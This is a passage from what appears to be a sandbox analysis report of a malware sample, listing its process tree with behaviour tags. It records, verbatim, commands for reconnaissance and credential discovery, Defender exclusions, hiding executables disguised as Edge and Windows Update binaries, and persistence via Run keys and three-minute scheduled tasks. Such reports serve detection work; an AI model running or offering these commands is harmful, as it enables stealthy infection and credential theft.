    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:4408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:4224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:3196
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:1304
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:1032
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:2404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:936
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:1792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:2244
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:2800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:2172
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:1768
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4268
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:1928
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:4976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:2848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:2800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:2180
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2640
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:2496
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:4452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:4652
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:1900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:3160
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:4464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:4192
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:1740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:672
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:4360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:2528
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:3956
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:4368
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:576
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:5020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:4432
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:4844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:788
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:4932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3660
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:3796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4740
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:1148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2416
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe"
    3⤵
    - Views/modifies file attributes
    PID:2120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4544
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4424
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe"
    3⤵
    - Views/modifies file attributes
    PID:1088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1644
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1844
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe"
    3⤵
    - Views/modifies file attributes
    PID:1920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2380
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:3796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:3328
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:568
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:3984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:1564
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:3728
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:2964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:5012
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:3312
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:1700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:656
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:3976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:2296
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:3320
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780548612100.xml" /f"
  2⤵
  PID:2516
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780548612100.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:1724
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4440
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780548612241.xml" /f"
  2⤵
  PID:1640
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780548612241.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4356
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1336
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780548612350.xml" /f"
  2⤵
  PID:4004
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780548612350.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4644
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:3496
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780548612460.xml" /f"
  2⤵
  PID:4960
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4932
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780548612460.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:1224
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:3028
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780548612569.xml" /f"
  2⤵
  PID:2408
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780548612569.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4092
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2964
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:3864
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:3780
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:3488
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:5056
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:4964
- C:\Windows\system32\cmd.exe
